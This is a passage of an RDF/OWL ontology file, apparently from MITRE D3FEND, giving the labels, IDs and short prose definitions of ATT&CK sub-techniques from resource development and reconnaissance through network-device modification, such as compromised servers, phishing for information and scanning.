    rdfs:subClassOf d3f:T1584 .

d3f:T1584.004 a owl:Class ;
    rdfs:label "Server" ;
    d3f:attack-id "T1584.004" ;
    d3f:definition "Adversaries may compromise third-party servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, including for Command and Control.(Citation: TrendMicro EarthLusca 2022) Instead of purchasing a [Server](https://attack.mitre.org/techniques/T1583/004) or [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may compromise third-party servers in support of operations." ;
    rdfs:subClassOf d3f:T1584 .

d3f:T1584.005 a owl:Class ;
    rdfs:label "Botnet" ;
    d3f:attack-id "T1584.005" ;
    d3f:definition "Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS)." ;
    rdfs:subClassOf d3f:T1584 .

d3f:T1584.006 a owl:Class ;
    rdfs:label "Web Services" ;
    d3f:attack-id "T1584.006" ;
    d3f:definition "Adversaries may compromise access to third-party web services that can be used during targeting. A variety of popular websites exist for legitimate users to register for web-based services, such as GitHub, Twitter, Dropbox, Google, SendGrid, etc. Adversaries may try to take ownership of a legitimate user's access to a web service and use that web service as infrastructure in support of cyber operations. Such web services can be abused during later stages of the adversary lifecycle, such as during Command and Control ([Web Service](https://attack.mitre.org/techniques/T1102)), [Exfiltration Over Web Service](https://attack.mitre.org/techniques/T1567), or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Recorded Future Turla Infra 2020) Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. By utilizing a web service, particularly when access is stolen from legitimate users, adversaries can make it difficult to physically tie back operations to them. Additionally, leveraging compromised web-based email services may allow adversaries to leverage the trust associated with legitimate domains." ;
    rdfs:subClassOf d3f:T1584 .

d3f:T1584.007 a owl:Class ;
    rdfs:label "Serverless" ;
    d3f:attack-id "T1584.007" ;
    d3f:definition "Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them." ;
    rdfs:subClassOf d3f:T1584 .

d3f:T1584.008 a owl:Class ;
    rdfs:label "Network Devices" ;
    d3f:attack-id "T1584.008" ;
    d3f:definition "Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not [Initial Access](https://attack.mitre.org/tactics/TA0001) to that environment -- instead leveraging these devices to support additional targeting." ;
    rdfs:subClassOf d3f:T1584 .

d3f:T1585.001 a owl:Class ;
    rdfs:label "Social Media Accounts" ;
    d3f:attack-id "T1585.001" ;
    d3f:definition "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)" ;
    rdfs:subClassOf d3f:T1585 .

d3f:T1585.002 a owl:Class ;
    rdfs:label "Email Accounts" ;
    d3f:attack-id "T1585.002" ;
    d3f:definition "Adversaries may create email accounts that can be used during targeting. Adversaries can use accounts created with email providers to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Establishing email accounts may also allow adversaries to abuse free services – such as trial periods – to [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) for follow-on purposes.(Citation: Free Trial PurpleUrchin)" ;
    rdfs:subClassOf d3f:T1585 .

d3f:T1585.003 a owl:Class ;
    rdfs:label "Cloud Accounts" ;
    d3f:attack-id "T1585.003" ;
    d3f:definition "Adversaries may create accounts with cloud providers that can be used during targeting. Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)" ;
    rdfs:subClassOf d3f:T1585 .

d3f:T1586.001 a owl:Class ;
    rdfs:label "Social Media Accounts" ;
    d3f:attack-id "T1586.001" ;
    d3f:definition "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona." ;
    rdfs:subClassOf d3f:T1586 .

d3f:T1586.002 a owl:Class ;
    rdfs:label "Email Accounts" ;
    d3f:attack-id "T1586.002" ;
    d3f:definition "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598), [Phishing](https://attack.mitre.org/techniques/T1566), or large-scale spam email campaigns. Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship with, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001))." ;
    rdfs:subClassOf d3f:T1586 .

d3f:T1586.003 a owl:Class ;
    rdfs:label "Cloud Accounts" ;
    d3f:attack-id "T1586.003" ;
    d3f:definition "Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)" ;
    rdfs:subClassOf d3f:T1586 .

d3f:T1587.001 a owl:Class ;
    rdfs:label "Malware" ;
    d3f:attack-id "T1587.001" ;
    d3f:definition "Adversaries may develop malware and malware components that can be used during targeting. Building malicious software can include the development of payloads, droppers, post-compromise tools, backdoors (including backdoored images), packers, C2 protocols, and the creation of infected removable media. Adversaries may develop malware to support their operations, creating a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: ActiveMalwareEnergy)(Citation: FBI Flash FIN7 USB)" ;
    rdfs:subClassOf d3f:T1587 .

d3f:T1587.002 a owl:Class ;
    rdfs:label "Code Signing Certificates" ;
    d3f:attack-id "T1587.002" ;
    d3f:definition "Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is." ;
    rdfs:subClassOf d3f:T1587 .

d3f:T1587.003 a owl:Class ;
    rdfs:label "Digital Certificates" ;
    d3f:attack-id "T1587.003" ;
    d3f:definition "Adversaries may create self-signed SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. In the case of self-signing, digital certificates will lack the element of trust associated with the signature of a third-party certificate authority (CA)." ;
    rdfs:subClassOf d3f:T1587 .

d3f:T1587.004 a owl:Class ;
    rdfs:label "Exploits" ;
    d3f:attack-id "T1587.004" ;
    d3f:definition "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)" ;
    rdfs:subClassOf d3f:T1587 .

d3f:T1588.001 a owl:Class ;
    rdfs:label "Malware" ;
    d3f:attack-id "T1588.001" ;
    d3f:definition "Adversaries may buy, steal, or download malware that can be used during targeting. Malicious software can include payloads, droppers, post-compromise tools, backdoors, packers, and C2 protocols. Adversaries may acquire malware to support their operations, obtaining a means for maintaining control of remote machines, evading defenses, and executing post-compromise behaviors." ;
    rdfs:subClassOf d3f:T1588 .

d3f:T1588.002 a owl:Class ;
    rdfs:label "Tool" ;
    d3f:attack-id "T1588.002" ;
    d3f:definition "Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: [PsExec](https://attack.mitre.org/software/S0029)). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as [Cobalt Strike](https://attack.mitre.org/software/S0154). Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.(Citation: Recorded Future Beacon 2019)" ;
    rdfs:subClassOf d3f:T1588 .

d3f:T1588.003 a owl:Class ;
    rdfs:label "Code Signing Certificates" ;
    d3f:attack-id "T1588.003" ;
    d3f:definition "Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is." ;
    rdfs:subClassOf d3f:T1588 .

d3f:T1588.004 a owl:Class ;
    rdfs:label "Digital Certificates" ;
    d3f:attack-id "T1588.004" ;
    d3f:definition "Adversaries may buy and/or steal SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are designed to instill trust. They include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner." ;
    rdfs:subClassOf d3f:T1588 .

d3f:T1588.005 a owl:Class ;
    rdfs:label "Exploits" ;
    d3f:attack-id "T1588.005" ;
    d3f:definition "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)" ;
    rdfs:subClassOf d3f:T1588 .

d3f:T1588.006 a owl:Class ;
    rdfs:label "Vulnerabilities" ;
    d3f:attack-id "T1588.006" ;
    d3f:definition "Adversaries may acquire information about vulnerabilities that can be used during targeting. A vulnerability is a weakness in computer hardware or software that can, potentially, be exploited by an adversary to cause unintended or unanticipated behavior to occur. Adversaries may find vulnerability information by searching open databases or gaining access to closed vulnerability databases.(Citation: National Vulnerability Database)" ;
    rdfs:subClassOf d3f:T1588 .

d3f:T1588.007 a owl:Class ;
    rdfs:label "Artificial Intelligence" ;
    d3f:attack-id "T1588.007" ;
    d3f:definition "Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI)" ;
    rdfs:subClassOf d3f:T1588 .

d3f:T1589.001 a owl:Class ;
    rdfs:label "Credentials" ;
    d3f:attack-id "T1589.001" ;
    d3f:definition "Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts." ;
    rdfs:subClassOf d3f:T1589 .

d3f:T1589.002 a owl:Class ;
    rdfs:label "Email Addresses" ;
    d3f:attack-id "T1589.002" ;
    d3f:definition "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees." ;
    rdfs:subClassOf d3f:T1589 .

d3f:T1589.003 a owl:Class ;
    rdfs:label "Employee Names" ;
    d3f:attack-id "T1589.003" ;
    d3f:definition "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures." ;
    rdfs:subClassOf d3f:T1589 .

d3f:T1590.001 a owl:Class ;
    rdfs:label "Domain Properties" ;
    d3f:attack-id "T1590.001" ;
    d3f:definition "Adversaries may gather information about the victim's network domain(s) that can be used during targeting. Information about domains and their properties may include a variety of details, including what domain(s) the victim owns as well as administrative data (ex: name, registrar, etc.) and more directly actionable information such as contacts (email addresses and phone numbers), business addresses, and name servers." ;
    rdfs:subClassOf d3f:T1590 .

d3f:T1590.002 a owl:Class ;
    rdfs:label "DNS" ;
    d3f:attack-id "T1590.002" ;
    d3f:definition "Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)" ;
    rdfs:subClassOf d3f:T1590 .

d3f:T1590.003 a owl:Class ;
    rdfs:label "Network Trust Dependencies" ;
    d3f:attack-id "T1590.003" ;
    d3f:definition "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access." ;
    rdfs:subClassOf d3f:T1590 .

d3f:T1590.004 a owl:Class ;
    rdfs:label "Network Topology" ;
    d3f:attack-id "T1590.004" ;
    d3f:definition "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure." ;
    rdfs:subClassOf d3f:T1590 .

d3f:T1590.005 a owl:Class ;
    rdfs:label "IP Addresses" ;
    d3f:attack-id "T1590.005" ;
    d3f:definition "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted." ;
    rdfs:subClassOf d3f:T1590 .

d3f:T1590.006 a owl:Class ;
    rdfs:label "Network Security Appliances" ;
    d3f:attack-id "T1590.006" ;
    d3f:definition "Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations." ;
    rdfs:subClassOf d3f:T1590 .

d3f:T1591.001 a owl:Class ;
    rdfs:label "Determine Physical Locations" ;
    d3f:attack-id "T1591.001" ;
    d3f:definition "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within." ;
    rdfs:subClassOf d3f:T1591 .

d3f:T1591.002 a owl:Class ;
    rdfs:label "Business Relationships" ;
    d3f:attack-id "T1591.002" ;
    d3f:definition "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources." ;
    rdfs:subClassOf d3f:T1591 .

d3f:T1591.003 a owl:Class ;
    rdfs:label "Identify Business Tempo" ;
    d3f:attack-id "T1591.003" ;
    d3f:definition "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization’s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim’s hardware and software resources." ;
    rdfs:subClassOf d3f:T1591 .

d3f:T1591.004 a owl:Class ;
    rdfs:label "Identify Roles" ;
    d3f:attack-id "T1591.004" ;
    d3f:definition "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to." ;
    rdfs:subClassOf d3f:T1591 .

d3f:T1592.001 a owl:Class ;
    rdfs:label "Hardware" ;
    d3f:attack-id "T1592.001" ;
    d3f:definition "Adversaries may gather information about the victim's host hardware that can be used during targeting. Information about hardware infrastructure may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: card/biometric readers, dedicated encryption hardware, etc.)." ;
    rdfs:subClassOf d3f:T1592 .

d3f:T1592.002 a owl:Class ;
    rdfs:label "Software" ;
    d3f:attack-id "T1592.002" ;
    d3f:definition "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.)." ;
    rdfs:subClassOf d3f:T1592 .

d3f:T1592.003 a owl:Class ;
    rdfs:label "Firmware" ;
    d3f:attack-id "T1592.003" ;
    d3f:definition "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.)." ;
    rdfs:subClassOf d3f:T1592 .

d3f:T1592.004 a owl:Class ;
    rdfs:label "Client Configurations" ;
    d3f:attack-id "T1592.004" ;
    d3f:definition "Adversaries may gather information about the victim's client configurations that can be used during targeting. Information about client configurations may include a variety of details and settings, including operating system/version, virtualization, architecture (ex: 32 or 64 bit), language, and/or time zone." ;
    rdfs:subClassOf d3f:T1592 .

d3f:T1593.001 a owl:Class ;
    rdfs:label "Social Media" ;
    d3f:attack-id "T1593.001" ;
    d3f:definition "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff." ;
    rdfs:subClassOf d3f:T1593 .

d3f:T1593.002 a owl:Class ;
    rdfs:label "Search Engines" ;
    d3f:attack-id "T1593.002" ;
    d3f:definition "Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)" ;
    rdfs:subClassOf d3f:T1593 .

d3f:T1593.003 a owl:Class ;
    rdfs:label "Code Repositories" ;
    d3f:attack-id "T1593.003" ;
    d3f:definition "Adversaries may search public code repositories for information about victims that can be used during targeting. Victims may store code in repositories on various third-party websites such as GitHub, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git." ;
    rdfs:subClassOf d3f:T1593 .

d3f:T1594 a owl:Class ;
    rdfs:label "Search Victim-Owned Websites" ;
    d3f:attack-id "T1594" ;
    d3f:definition "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)" ;
    rdfs:subClassOf d3f:ReconnaissanceTechnique .

d3f:T1595.001 a owl:Class ;
    rdfs:label "Scanning IP Blocks" ;
    d3f:attack-id "T1595.001" ;
    d3f:definition "Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses." ;
    rdfs:subClassOf d3f:T1595 .

d3f:T1595.002 a owl:Class ;
    rdfs:label "Vulnerability Scanning" ;
    d3f:attack-id "T1595.002" ;
    d3f:definition "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use." ;
    rdfs:subClassOf d3f:T1595 .

d3f:T1595.003 a owl:Class ;
    rdfs:label "Wordlist Scanning" ;
    d3f:attack-id "T1595.003" ;
    d3f:definition "Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594))." ;
    rdfs:subClassOf d3f:T1595 .

d3f:T1596.001 a owl:Class ;
    rdfs:label "DNS/Passive DNS" ;
    d3f:attack-id "T1596.001" ;
    d3f:definition "Adversaries may search DNS data for information about victims that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts." ;
    rdfs:subClassOf d3f:T1596 .

d3f:T1596.002 a owl:Class ;
    rdfs:label "WHOIS" ;
    d3f:attack-id "T1596.002" ;
    d3f:definition "Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)" ;
    rdfs:subClassOf d3f:T1596 .

d3f:T1596.003 a owl:Class ;
    rdfs:label "Digital Certificates" ;
    d3f:attack-id "T1596.003" ;
    d3f:definition "Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location." ;
    rdfs:subClassOf d3f:T1596 .

d3f:T1596.004 a owl:Class ;
    rdfs:label "CDNs" ;
    d3f:attack-id "T1596.004" ;
    d3f:definition "Adversaries may search content delivery network (CDN) data about victims that can be used during targeting. CDNs allow an organization to host content from a distributed, load balanced array of servers. CDNs may also allow organizations to customize content delivery based on the requestor’s geographical region." ;
    rdfs:subClassOf d3f:T1596 .

d3f:T1596.005 a owl:Class ;
    rdfs:label "Scan Databases" ;
    d3f:attack-id "T1596.005" ;
    d3f:definition "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)" ;
    rdfs:subClassOf d3f:T1596 .

d3f:T1597.001 a owl:Class ;
    rdfs:label "Threat Intel Vendors" ;
    d3f:attack-id "T1597.001" ;
    d3f:definition "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)" ;
    rdfs:subClassOf d3f:T1597 .

d3f:T1597.002 a owl:Class ;
    rdfs:label "Purchase Technical Data" ;
    d3f:attack-id "T1597.002" ;
    d3f:definition "Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets." ;
    rdfs:subClassOf d3f:T1597 .

d3f:T1598.001 a owl:Class ;
    rdfs:label "Spearphishing Service" ;
    d3f:attack-id "T1598.001" ;
    d3f:definition "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages." ;
    rdfs:subClassOf d3f:T1598 .

d3f:T1598.002 a owl:Class ;
    rdfs:label "Spearphishing Attachment" ;
    d3f:attack-id "T1598.002" ;
    d3f:definition "Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages." ;
    rdfs:subClassOf d3f:T1598 .

d3f:T1598.003 a owl:Class ;
    rdfs:label "Spearphishing Link" ;
    d3f:attack-id "T1598.003" ;
    d3f:definition "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages." ;
    rdfs:subClassOf d3f:T1598 .

d3f:T1598.004 a owl:Class ;
    rdfs:label "Spearphishing Voice" ;
    d3f:attack-id "T1598.004" ;
    d3f:definition "Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient." ;
    rdfs:subClassOf d3f:T1598 .

d3f:T1599.001 a owl:Class ;
    rdfs:label "Network Address Translation Traversal" ;
    d3f:attack-id "T1599.001" ;
    d3f:definition "Adversaries may bridge network boundaries by modifying a network device’s Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks." ;
    rdfs:subClassOf d3f:T1599 .

d3f:T1600.001 a owl:Class ;
    rdfs:label "Reduce Key Space" ;
    d3f:attack-id "T1600.001" ;
    d3f:definition "Adversaries may reduce the level of effort required to decrypt data transmitted over the network by reducing the cipher strength of encrypted communications.(Citation: Cisco Synful Knock Evolution)" ;
    rdfs:subClassOf d3f:T1600 .

d3f:T1600.002 a owl:Class ;
    rdfs:label "Disable Crypto Hardware" ;
    d3f:attack-id "T1600.002" ;
    d3f:definition "Adversaries disable a network device’s dedicated hardware encryption, which may enable them to leverage weaknesses in software encryption in order to reduce the effort involved in collecting, manipulating, and exfiltrating transmitted data." ;
    rdfs:subClassOf d3f:T1600 .

d3f:T1601.001 a owl:Class ;
    rdfs:label "Patch System Image" ;
    d3f:attack-id "T1601.001" ;
    d3f:definition "Adversaries may modify the operating system of a network device to introduce new capabilities or weaken existing defenses.(Citation: Killing the myth of Cisco IOS rootkits) (Citation: Killing IOS diversity myth) (Citation: Cisco IOS Shellcode) (Citation: Cisco IOS Forensics Developments) (Citation: Juniper Netscreen of the Dead) Some network devices are built with a monolithic architecture, where the entire operating system and most of the functionality of the device is contained within a single file.  Adversaries may change this file in storage, to be loaded in a future boot, or in memory during runtime." ;
    rdfs:subClassOf d3f:T1601 .

d3f:T1601.002 a owl:Class ;
    rdfs:label "Downgrade System Image" ;
    d3f:attack-id "T1601.002" ;
    d3f:definition "Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. (Citation: Cisco Synful Knock Evolution)" ;
    rdfs:subClassOf d3f:T1601 .

d3f:T1602.001 a owl:Class ;
    rdfs:label "SNMP (MIB Dump)" ;
    d3f:attack-id "T1602.001" ;
    d3f:definition "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP)." ;
    rdfs:subClassOf d3f:T1602 .

d3f:T1602.002 a owl:Class ;
    rdfs:label "Network Device Configuration Dump" ;
    d3f:attack-id "T1602.002" ;
    d3f:definition "Adversaries may access network configuration files to collect sensitive data about the device and the network. The network configuration is a file containing parameters that determine the operation of the device. The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use." ;
    rdfs:subClassOf d3f:T1602 .

d3f:T1603 a owl:Class ;
    rdfs:label "Scheduled Task/Job - ATTACK Mobile" ;
    d3f:attack-id "T1603" ;
    d3f:definition "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. On Android and iOS, APIs and libraries exist to facilitate scheduling tasks to execute at a specified date, time, or interval." ;
    rdfs:subClassOf d3f:ATTACKMobileExecutionTechnique,
        d3f:ATTACKMobilePersistenceTechnique ;
    skos:prefLabel "Scheduled Task/Job" .

d3f:T1604 a owl:Class ;
    rdfs:label "Proxy Through Victim - ATTACK Mobile" ;
